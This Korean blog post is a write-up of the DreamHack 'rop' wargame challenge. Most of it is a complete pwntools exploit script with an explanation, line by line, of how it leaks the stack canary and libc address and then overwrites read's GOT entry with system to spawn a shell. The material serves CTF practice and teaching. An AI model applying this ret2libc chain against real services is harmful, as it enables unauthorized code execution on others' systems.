DreamHack rop 풀이

·2024년 8월 26일
0

DreamHack

목록 보기
1/6

1. 보안 기법 확인


문제의 이름이 rop인 만큼 rop를 사용해서 풀 수 있다.

2. 익스플로잇 코드 작성

먼저 익스플로잇에 사용될 가젯들을 찾아보자.
Rdi 값을 설정하기 위한 가젯.

Rsi 값을 설정하기 위한 가젯.

스택 정렬을 위한 가젯.

이제 코드를 작성해보자. 전체 코드는 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games",23073)
e = ELF('./rop')
libc = ELF("./libc.so.6")

payload = b'a'*0x39
p.sendafter("Buf: ",payload)
p.recvuntil(payload)
cnry = b'\x00' + p.recvn(7)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi = 0x0000000000400851
ret = 0x0000000000400596


payload = b'a'*0x38 + cnry + b'a'*0x8
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_got) + p64(0) + p64(write_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(read_got) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(ret) + p64(read_plt) 


p.sendafter("Buf: ",payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')


p.interactive()

3. 코드 설명

필요한 부분만 설명하도록 하겠다.

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi = 0x0000000000400851
ret = 0x0000000000400596

pwntools에는 ELF관련 함수들이 존재하는데, 이를 사용해서 쉽게 익스플로잇 코드를 작성할 수 있다.

payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_got) + p64(0) + p64(write_plt)

페이로드의 2번째 줄이다. pop_rdi 가젯을 통해 rdi값을 Standard output 값인 1로 바꾸고, pop_rsi 가젯을 통해 read의 got 주소를 rsi에 넣는다. 그 이후에 0을 넣는 이유는 위의 사진에서 볼 수 있듯이 pop rsi를 하고 pop r15도 하기 때문이다. 그리고 write_plt를 통해 write 함수를 호출하여 read의 got를 알아낼 수 있다.

payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(read_got) + p64(0) + p64(read_plt)

페이로드의 3번째 줄이다. 이전과 동일한 방식으로 rdi에 Standard input 값인 0을 넣고 rsi에 read의 got를 넣는다. 그리고 read의 plt를 통해 read 함수를 호출한다. 이러면 read의 got에 값을 읽어들이게 된다. 여기서는 rdx 값이 크게 설정되어 있으므로 따로 rdx를 조작하지 않아도 된다.

payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(ret) + p64(read_plt) 

페이로드의 마지막 줄이다. rdi에 read_got + 0x8을 넣는데, 이 값을 넣는 이유는 아래에서 찾아 볼 수 있다.

p.send(p64(system) + b'/bin/sh\x00')

이 send는 페이로드의 두번째 줄에서 read_plt를 통해 read 함수를 호출했을 때 인자를 보내게 된다. 이러면 read의 got가 system 함수의 주소 + /bin/sh 문자열로 덮어 씌워지게 되는데, system 함수의 주소는 8바이트이다. 그렇기 때문에 /bin/sh 문자열은 read_got + 0x8에 위치하게 된다.

profile
안녕하세요

0개의 댓글